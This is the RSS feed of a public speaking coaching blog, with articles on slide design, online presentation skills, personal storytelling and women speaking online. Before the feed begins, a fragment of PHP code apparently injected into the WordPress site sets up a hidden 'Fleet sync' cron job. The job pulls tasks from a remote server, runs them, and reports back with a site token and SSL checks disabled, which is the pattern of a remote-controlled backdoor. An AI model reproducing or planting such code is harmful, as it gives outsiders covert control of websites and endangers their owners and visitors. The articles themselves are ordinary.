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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Speaking online Archives - Now you're talking https://www.nowyouretalking.co.uk/category/speaking-online/ Public speaking Thu, 26 Jan 2023 12:00:33 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 It’s you or the slides! https://www.nowyouretalking.co.uk/2023/01/26/its-you-or-the-slides/ Thu, 26 Jan 2023 12:00:33 +0000 https://www.nowyouretalking.co.uk/?p=1482 Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance…

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]]> Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides

Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance a presentation. ‘Death by PowerPoint’ isn’t a new phrase, yet most presenters, sadly, keep knocking out slides guaranteed to work against them, disengage their audience and create a whole load of unnecessary work.

Any of these sound familiar?

  • When we’re invited to speak or present, we start knocking out slides. It’s like being on autopilot – we have some data so let’s make a slide

 

  • As speakers, we’re generous and we want to share what we know, but it’s invariably more than an audience can take in when they hear it for the first time

 

  • Slides become a crutch to remind you what you want to say

Two things you need to know about slides

  • Audiences tend to read before they listen. If you put up a slide that takes more than a glance to absorb, then you’ve just made the slide deck the presenter. You are redundant!

 

  • Impactful slides SUPPORT, not replace, the speaker – they are not the pre-read or the leave-behind. They must bring your message to life, at a glance, and free you to talk about why it matters/the learning/action point

Less is always more. Today’s audiences have miniscule attention spans – some say less than a goldfish, ie seconds, not minutes. Slides undermine your presence and limit your ability to be responsive to your audience in the moment.

And hiding behind slides online is even worse as people stare at a screen with a tiny image of you in the corner somewhere.

It’s you, your stories and your clear message that keep audiences focused and attentive. It’s you or the slides!

Message first. Slides last – nine ways to make an impact

Message first – Start by being crystal clear on your message and the stories you need to share. Don’t slavishly make slides just because it’s on your questionnaire. Bring in the information you need to support your point

Purpose – Agree with your client what you’ll present and what you’ll provide as a leave-behind document. Don’t forget, different audiences have different needs and you need to produce relevant content for each. For instance, the board does not want the detail of the marketing team

Must-have info only – Only include slides that directly drive forward your message – support you and illuminate your message. You won’t need very many. Good for you in terms of preparation time. Good for the audience as they came to listen to you, not read a slide deck

Support, not replace – Be sure that each slide supports, not replaces, you. There is nothing worse than loads of bullet points that you’re going to read – audiences can read faster than you can speak!

Data don’t make an impact – Numbers and percentages aren’t particularly engaging, relatable or memorable, so keep them to a minimum. For example, poor mental health affects one in four people in any given year. That’s two of the people sitting at your table. Maybe more. Or Foetal Alcohol Syndrome affects 6% of the population – that’s two children in every class of 30

Use visuals – A picture really does speak a thousand words… at a glance. The acid test. A picture will convey information far more efficiently and quickly than you can with words. Find your relevant story and share a picture that encapsulates its essence

Big and bold – Channel Steve Jobs and use large fonts and few words. He famously put one word on a slide in 190-point size. Audiences can take in what’s on the slide at a glance and then have to listen attentively to find out more. Don’t overload your slides – less is always more

Builds help keep listeners with you – Use animations/builds so the audience only sees what you want them to see at the right moment. Putting all the information up at one go allows the audience to read ahead and ignore what you’re saying

Slides last – Write the slides last. You’ll be surprised by just how few you need and how much time you save!

Remember, it’s you or the slides.

Liberate yourself from endless, dull slides that regurgitate the findings of your questionnaire. Find your message and enter the sweet spot where you and your listeners are working together, almost co-creating your presentation. Only then can you give your audience what they came for – something new, relevant, engaging and memorable.

First published in Significant Insights

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]]> Have you got the online mindset? https://www.nowyouretalking.co.uk/2021/06/28/online-mindset/ Mon, 28 Jun 2021 11:11:40 +0000 https://www.nowyouretalking.co.uk/?p=1414 The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be…

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]]> The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be heard online.

Top pitfalls in online talks and presentations include insufficient energy, poor eye contact, lack of clear relevance, monotonous voice, poorly told or no stories, confusing message and structure, and hiding behind slides/PowerPoints.

But what is the online mindset and how do we get it and avoid these pitfalls?

1. You’re in close up and everyone has a front-row seat

Your camera and mic can see and hear everything, but is it what you want your audience in the front row to see and hear?

Before joining a meeting with camera/video on, check:

  • You’re well lit, so your audience can see your face and eyes as they are where we find trust and sincerity
  • You’ve got external and intrusive noise under control
  • You look the part for your close up
  • You’ve decluttered your surroundings, so there’s nothing to divert attention

2. Your audience is home alone

People in a virtual audience often feel left out or alone, even when there are hundreds of people in the same meeting. We need to help them feel involved. Your body language is a good place to start:

  • A warm and genuine smile communicates a relaxed and friendly you
  • Adopt a confident posture that says I’m comfortable and delighted to be here
  • Bring big energy, bigger than you would in the room, so that you can reach into your audience’s home. Dial up vocal interest and passion for your subject to help draw people towards you
  • Steady and direct eye contact builds trust, but it’s hard online because you have to talk to your camera lens, not the faces on your screen

And then draw them in further by creating opportunities to interact through the chat, reactions, breakouts, whiteboards, Q&A, etc. One-way communication only adds to the sense of being home alone.

3. Just because you can see your audience, it doesn’t mean they’re listening

Online audiences show up, physically, thinking ‘What’s In It For Me?’ If you don’t pique their curiosity, their minds will soon drift to their email, Instagram and who knows what else.

We need to be relevant and quickly give our audience a reason to listen. It’s no coincidence that most TV programmes nowadays start with a dramatic happening and when they’ve hooked us in, they roll the credits. Same with your talks and presentations. In most cases, you can save thank you and event protocols until after your opening remarks.

Online, we’re impatient. You’ve got just seconds to grab someone’s attention and demonstrate you have something relevant that they’ll value:

  • Know your audience so you can open with something that matters to them
  • Deliver a clear message that’s new and relevant, for right now
  • Make things easy for them. Less is more online, so strip back your content to the ‘must-have’ information to support your message, and use a clear and easy-to-follow structure

4. It’s just you and the person in the front row

Online, you lose the collective response of an audience being together in the same room as you. Now, it’s just you and your one-to-one connection with each individual member of your audience in their front-row seat.

To achieve connection, we need to be relatable, human to human. The best way we can achieve this is through the stories we tell. Ideally, they:

  • Are relevant to the subject of your talk
  • Draw on your own, real-life experiences
  • Have presence by being told in the here and now, with energy and enthusiasm
  • Are full of dialogue that engages all five senses, delivering energy and presence that narrative can’t achieve
  • Are appropriately edited to make sense and be memorable to an audience hearing them for the first time

And your newfound friend in the front row will help you read the room. Glance and gauge the energy and engagement of a few people and also factor in how you’re feeling, rather than trying to read the reactions of every individual on your screen.

Giving talks and presentations is your opportunity to persuade and inspire, to keep yourself and your organisation visible, and to pay it forward, building our collective knowledge by sharing ideas.

Recognising the online mindset and its impact on what you say and how you say it will make your talks stand out and impact your key target audiences.

First published as guest blog by Comms Rebel

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]]> Get personal and change hearts & minds https://www.nowyouretalking.co.uk/2020/12/04/get-personal-and-change-hearts-minds/ Fri, 04 Dec 2020 22:51:57 +0000 https://www.nowyouretalking.co.uk/?p=1333 Whenever I go to my local coffee shop and collect pre-ordered bread, I see it on a shelf in a brown paper bag bearing my name.  And not just my name, but my name with some added ‘design’. They get…

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]]> Brown paper bag bearing the name LynWhenever I go to my local coffee shop and collect pre-ordered bread, I see it on a shelf in a brown paper bag bearing my name.  And not just my name, but my name with some added ‘design’. They get personal by using my name and, specifically, my first name. It gives me that lovely warm glow; a connection. And there are so many ways we can get personal and create connections that help us change hearts and minds when we give talks and presentations.

Don’t be afraid to use my name

I’m always very happy for someone to use my first name, but some people prefer a more formal approach. If in doubt, I simply ask how someone would like me to address them.

In hotels, they often program your name into their system, but they use a formal styling. In my case, that’s Miss Roseaman. And it so often goes wrong. Miss becomes Mrs. Roseaman is usually mispronounced. If they asked, I’d welcome them using my first name and Lyn is so much easier to deal with.

In the coffee shop, when I hear “Hi Lyn. How’s it going?” or see ‘Lyn’ on the bread bag, they instantly have my attention. They make me feel valued and part of the set-up. I feel as if I belong.

Get personal with steady eye contact

Think about how you feel when someone is talking to you, but not making eye contact. It might be a lack of confidence on their part, but it makes me wonder if I can trust them and whether they perhaps have something to hide.

Good eye contact sends a message of trust. And online, it goes even further in connecting and engaging with an audience. Online, we’re in a close-up situation and if our eyes are darting around or avoiding our viewers and listeners, we seem shifty, nervous and insincere.

Good eye contact online is hard. It means looking at your camera lens, not at the faces on the screen and that feels really unnatural  as we are drawn to looking directly at the faces of the people on our screens. It can help to stick a little picture of a friend right next to your camera lens and talk to that person, imagining them being there so as you look down the lens you’re imagining the real people beyond.

‘You’ is a magic word

The word ‘you’ is at the same time inclusive and individual. As a plural idea, it reaches your whole audience, however many they are. In the singular, it conveys a personal, one-to-one conversation, with you giving all your focus and attention to each and every one of your listeners.

Moreover, using a speaking style and tone that is right for your audience, creates the sense of a personal conversation. This is one reason why it is so important to research and know who your audience is so that you can speak to them in a way that’s comfortable, clear and relatable for them.

Share a personal story

There is perhaps nothing more compelling and memorable than a well-told personal story. Of course, it needs to be relevant to your talk and your audience.

Given that attention spans are short, opening with a story gives you time to settle, lets your listeners get to know you a little and stimulates interest in what’s to come. As you move further into your talk, another story or anecdote can help refocus attention and keep your audience engaged.

We are hard-wired to relate to stories and they are a powerful way to communicate complex ideas and data in a way that is clear and easy to remember.

When we get personal, we connect and engage with our audiences, paving the way for us to touch their hearts and minds and give speeches, talks and presentations that standout and make a difference.

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]]> Claim your voice – women speaking online https://www.nowyouretalking.co.uk/2020/09/23/claim-your-voice-women-speaking-online/ Wed, 23 Sep 2020 09:15:50 +0000 https://www.nowyouretalking.co.uk/?p=1280 Women are half the world’s population, but they are not half the world’s public voice. Globally, according to Bizzabo research of 60,000 event speakers in 56 countries, just one in three are women. Women speaking online need to claim their…

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]]> Women are half the world’s population, but they are not half the world’s public voice. Globally, according to Bizzabo research of 60,000 event speakers in 56 countries, just one in three are women. Women speaking online need to claim their voice and share their ideas.

For myriad complex reasons from being told we have no right to speak, to perfectionism, impostor syndrome and risk aversion, women are not taking up opportunities to speak. And the avoidance seems to be amplified online where women are often interrupted, spoken over or simply ignored by male counterparts.

If women want to step out of their comfort zone, they need to find their voice and become more visible. To achieve this online, we need to embrace the three essentials of communication – Confidence, Connection and a message that drives Change – in ways that work for us.

Confidence

In life, and as speakers and presenters, women struggle with confidence more than men. And having endured centuries of ‘put-downs’, it’s hardly surprising! Almost 3,000 years ago, Odysseus’ son Telemachus told his mother, Penelope, that speaking in the public forum is his responsibility and that she should return to her quarters to concentrate on her own work, the loom and the distaff.

In 1988, Punch published a cartoon by Riana Duncan depicting five men and one woman sitting in an office meeting. Miss Triggs makes a suggestion. The chairman replies: “That’s an excellent suggestion Miss Triggs. Perhaps one of the men here would like to make it.”

Such evidence is borne out in the annual McKinsey and Lean In Women in the Workplace report, which in 2019, found that half the women surveyed had experienced being interrupted or spoken over and two in five referenced others taking credit for their ideas.

Hardly surprising, then, that women are reluctant to speak. Yet, online, more than being in the same room as our audience, we need to bring confident energy to the screen so that our audience can relax and connect with us and what we’re saying.

Ready for your close up?

Women speaking online can feel challenged by the format and reluctant to speak. As you look at a screen and see everyone’s face staring back at you, it can feel intimidating. So, we need to be happy with how we look and show ourselves to best advantage.

When you go online, it’s easy to overlook your familiar surroundings, but your computer’s camera and mic will relay everything in range. Check what your audience will see and hear and make sure it’s what you want them to see and hear.

Think about being online as having a close up. You’re on the small screen and the camera will pick up every detail, expression and gesture. Is your lighting setting you off to best advantage so that you’re not plunged into shadow, dazzled by sunshine or distorted by reflections bouncing off your face or glasses if you wear them? I’m often asked about clothes and I recommend comfortable and appropriate for your audience. Block colours can reinforce a look of confident professionalism.

Keep calm when speaking online

Relying on technology can sometimes feel like working with children and animals. In spite of doing all the appropriate tech checks, things can still go wrong. And people accept that this can happen. What’s important is that you handle it calmly and efficiently, explaining what’s happening; and even better, invite a participant to take care of the tech for you.

Show your confidence

Consider all the non-verbal ways you can convey confident energy online. Bear in mind that we can often only see small images of participants or even less if they have their webcams turned off. This makes it hard to read non-verbal cues so make them clear and deliberate:

  • A genuine smile
  • An open and stable posture that is relaxed and assured
  • Dial down movement and gestures. Online, you’re on the small screen and big gestures that work in a large venue will overwhelm or fall off screen
  • Steady eye contact and the correct positioning of your camera lens at just above eye level make you look open and sincere and keep any double chins at bay!

Connection

If you want to stand out and have your listeners remember your talk or presentation, you need to connect emotionally with them:

“They may forget what you said, but they will never forget how you made them feel”
Carl W Buehner

Answer their ‘What’s In It For Me?’

As the meeting host or presenter, it’s your responsibility to know what your listeners will value, ie answer their all-important ‘What’s In It For Me’ question – as quickly as possible – so that they have a reason to carry on listening. To achieve this, you need to know your participants, what makes them tick and what they want from you.

Given the propensity for women to be interrupted or talked over and the challenge of reading non-verbal cues online, it is particularly important to make sure everyone feels involved in the meeting and has a chance to speak if they want to. Lay down some clear etiquette ground rules. For instance:

  • Ask participants to indicate their questions in the chat function
  • Invite specific gestures from people wanting to speak, eg the hand wave on Zoom (or other in-platform symbols) or physically wave their own hand to attract the host’s attention
  • Encourage participants to turn on their cameras so that people don’t go unseen unless it’s their choice
  • Unmute and invite people, by name, to speak

‘You’ and ‘we’ are magic words

Use of ‘you’ helps strengthen the relevance of your talk or presentation and make your listeners feel involved. In the English language, ‘you’ power comes from being both singular – a personal connection through a one-to-one conversation – and plural, including everyone. ‘We’ is even stronger, giving the feeling of togetherness, teamwork and co-creation.

Share your story, not your screen

Storytelling comes into its own when speaking online. When we tell a relevant personal story, openly and honestly, our listeners can relate to us as people. Stories not only create connections, but they are both engaging and memorable:

“Engaging speakers share their message through stories. They can move an audience, even in
business settings, to feel, laugh or cry, and are memorable for all the right reasons”
Lyn Roseaman

In stark contrast, sharing your screen and wading through bullet points is neither engaging nor memorable and fast-track to losing your listeners. Prioritise relevant storytelling at every opportunity.

Change

In the words of John F Kennedy, “The only reason to give a speech is to change the world.” Speaking up at meetings and events is our opportunity to remain visible, explore and share change and start building our future.

Message for the moment

To stand out online, what you have to say needs to be new and on point. Start at the end of your presentation or meeting with how you want people to think, feel or act afterwards. Identify your message and only incorporate content that supports it. Check your favourite search engine to make sure your message fits the bill.

Make it memorable with a rhythmic and rhyming anchor phrase that captures the essence of your talk in ten words or fewer, eg ‘Home is where we start from’ (Aileen Evans) or ‘It’s the world’s thinnest notebook (Steve Jobs).

Make life easy for your audience

Zoom fatigue and Teams tedium are now part of our lives and our attention spans are short at the best of times. In our enthusiasm for a subject, it’s easy to say too much and overwhelm our listeners. Less is most definitely more online.

Adopt a clear structure, such as a timeline, pros & cons, heroine’s journey, etc. Break up your presentation into small ‘chunks’ of around five minutes each and top and tail each chunk with what you’ll cover and a keyword to sum it up. Signpost what you have to say so your audience has the ‘road map’ for your talk and it’s clear and easy to follow.

Support each other and interact at every opportunity when speaking online

In Zoom and Teams you can create breakouts. Dividing your audience into smaller groups and sending them to separate rooms where they can discuss a specific topic and report back to the main meeting engenders both energy and new ideas. Aiming to make some 70% of the time interactive (interspersed with short presentations) will make time online more dynamic, relevant and memorable.

If you feel that the gender dynamic is making some participants reluctant to speak up, breakouts can create an opportunity for people to come together and support each other.

Conclusion

Women are half the world’s population. Women speaking online is an important opportunity to claim their voice and be seen and heard, while preparing for a future where we will almost certainly need to shine online AND in physical locations, with a real audience in the same room.

For lots more practical tips and ideas to ace your speaking online, please enjoy my free download, ‘Now You’re Talking Online‘ or find my book, ‘Now You’re Talking – Take your speeches, talks and presentations to a wider audience and a bigger stage‘

A version of this article was originally published by Network She as ‘Claim your voice and shine online‘

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]]> Speaking online is here to stay https://www.nowyouretalking.co.uk/2020/09/09/speaking-online-is-here-to-stay/ Wed, 09 Sep 2020 08:11:43 +0000 https://www.nowyouretalking.co.uk/?p=1266 Picture this… A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two…

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]]> Picture this…
A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two Zoom meetings. The audience in the first. Speakers, session chairs, tech teams and other officials in the second. And then there were breakout rooms for workshops and briefings. Even though it was a UK event, speakers were streamed in from around the world, no expense spared! When the event went live, the Zoom meeting with multiple rooms, speakers, etc was broadcast into the audience Zoom meeting. And all without a hitch! Speaking online  is here to stay.

The future may be ‘hybrid’, but expectations of how we speak and present online will continue to rise; expectations of speakers to be engaging, relevant and memorable if we want to stay visible, have clients and employees who enjoy working with us, and thrive in our businesses. We need to make time to shine online with the three communication essentials of Confidence, Connection and a message that drives Change.

Confident speaking online 

Confidence is vital online to help your listeners feel they’re in safe hands and can relax and concentrate on what you have to say. If you come across as unduly nervous, people will worry about your wellbeing and may even tune out. To hold their attention, you need to bring confident energy to the screen.

You’re on the small screen

Being online is like having a close up and every member of your audience has a front-row seat. You’re on the small screen and the camera and mic will pick up every detail, expression, gesture and sound. What can your audience see and hear and is it what you want them to see and hear?

Are you looking your best? Ensure your main light source is behind the camera so that you’re neither plunged into shadow nor dazzled by sunlight, making you squint or obliterating your eyes if you wear glasses. Capture a screenshot before you go live and know you look the part. Wearing block colours also make you look strong and professional.

Check your tech

Relying on technology can feel like working with children and animals. With all the checks in the world, things can still go wrong. If they do, keep calm, explain what’s happening and fix the problem. Even better, invite a participant to take care of the tech for you.

In addition, make sure your internet connection is as strong as it can be to minimise buffering.

Share confident energy

Think of all the non-verbal ways you can bring confident energy to the screen. For instance:

  • A genuine smile
  • An open and stable posture that is relaxed and assured
  • Dial down movement and gestures. Online, on the small screen, fidgeting distracts and big gestures that work in a large venue will overwhelm or fall out of view
  • Set the camera at just above eye level and look directly into the lens (not at the faces on your monitor) for open and sincere eye contact, while keeping any double chins at bay!
  • Breathe into the abdomen and relax your upper body so that your vocal tone is rich and strong and you mic doesn’t pick up any sign of nerves in your voice.

Connection when speaking online

Picture people queueing up to talk to you after you’ve given a talk, or piling questions into the chat. They’re there because you’ve connected with them, both in terms of the value you’ve given and the way you’ve made them feel. And online, it’s even more vital. If you want to stand out and have your listeners remember your talk or presentation, you need to connect emotionally with them:

“They may forget what you said, but they will never forget how you made them feel”
Carl W Buehner

What’s In It For Me?

Whether you’re pitching for work, inspiring your team, hosting a meeting or giving a conference paper, it’s your responsibility to know what your listeners are expecting from you and answer their all-important ‘What’s In It For Me’ question – as quickly as possible – so that you are relevant and on the pulse, and they have a reason to carry on listening. This means deep researching your audience so that you understand who they are, what they already know and what makes them tick.

Use inclusive language

Use of ‘you’ helps strengthen the relevance of your talk or presentation and make your listeners feel involved. In the English language, ‘you’ power implies a one-to-one conversation in the singular and, in the plural, includes everyone, creating both a strong feeling of inclusivity and a personal connection. ‘We’ is even stronger, giving the feeling of togetherness, teamwork and co-creation.

Barack Obama understood the power of ‘you’ and ‘we’. In his 2012 presidential election victory speech, he used the personal pronoun ‘I’ 36 times, ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

Stories trump PowerPoints

Human beings are hard wired to connect through storytelling and it comes into its own online. It makes us relatable, likable, engaging and memorable. And all the more so when we tell a relevant personal story, openly and honestly:

In her book  Lyn Roseaman observes:

“Engaging speakers share their message through stories. They can move an audience, even in
business settings, to feel, laugh or cry, and are memorable for all the right reasons”
Lyn Roseaman, ‘Now You’re Talking!’

In stark contrast, sharing your screen and wading through bullet points is neither engaging nor memorable and fast-track to your listeners tuning out. Prioritise relevant storytelling at every opportunity to avoid online fatigue and tedium.

Your message to drive Change

John F Kennedy said “The only reason to give a speech is to change the world.”

Speaking online – meetings, events, conversations – is your opportunity to remain visible, develop fresh ideas and deliver energy and momentum to online experiences.

Message for the moment

Meetings can sometimes lose sight of a clear purpose and message. Starting at the end of your presentation or meeting with how you want people to think, feel or act after they’ve listened to what you have to say will help you stay relevant, show you’re in touch and on point. Identify a message that is new and on point and then incorporate only content that supports it. Make it memorable and end with a call to action that justifies people’s attendance and put plans in place to follow up.

Make life easy when you’re speaking online

Our attention spans are short at the best of times and seemingly even shorter online, so it’s crucial to get to the point and stay relevant. In our enthusiasm for a subject, it’s easy to say too much and overwhelm our listeners along the way. Less is most definitely more online.

Structure and signpost your talk so that it is easy to follow. Choose a clear structure. Break up your presentation into small ‘chunks’ of some five minutes each, and top and tail each chunk with what you plan to cover and a keyword to sum it up as you move on to the next chunk. Signpost what you have to say to let your audience know the ‘road map’ for your talk so it’s clear and easy to follow.

Make it memorable with a rhythmic and rhyming anchor phrase that captures the essence of your talk in ten words or fewer, eg ‘Home is where we start from’ (Aileen Evans) or ‘It’s the world’s thinnest notebook (Steve Jobs).

Interact at every opportunity

In Zoom and Teams, you can create breakouts. Dividing your audience into smaller groups and sending them to separate ‘rooms’ where they can discuss a specific topic and report back to the main meeting engenders both energy and new ideas.

Aiming to make some 70% of the time interactive will make your meetings, talks and presentations more dynamic, relevant and memorable. To help things run smoothly, set ground rules online for listening to each other and not all talking at the same time!

Conclusion

Speaking online convincingly is here to stay. Prepare to go hybrid for the benefit of you and your business. In future we’ll need to shine online AND in physical locations, with our real audience in the same room.

For lots more practical tips and ideas to ace your speaking online, please enjoy my free download, ‘Now You’re Talking Online‘ or find my book, ‘Now You’re Talking – Take your speeches, talks and presentations to a wider audience and a bigger stage‘

A version of this article appeared in ESOMAR’s Research World as ‘Make some time to shine online’ and HR Director as ‘How to give your best performance in your next online presentation’

 

 

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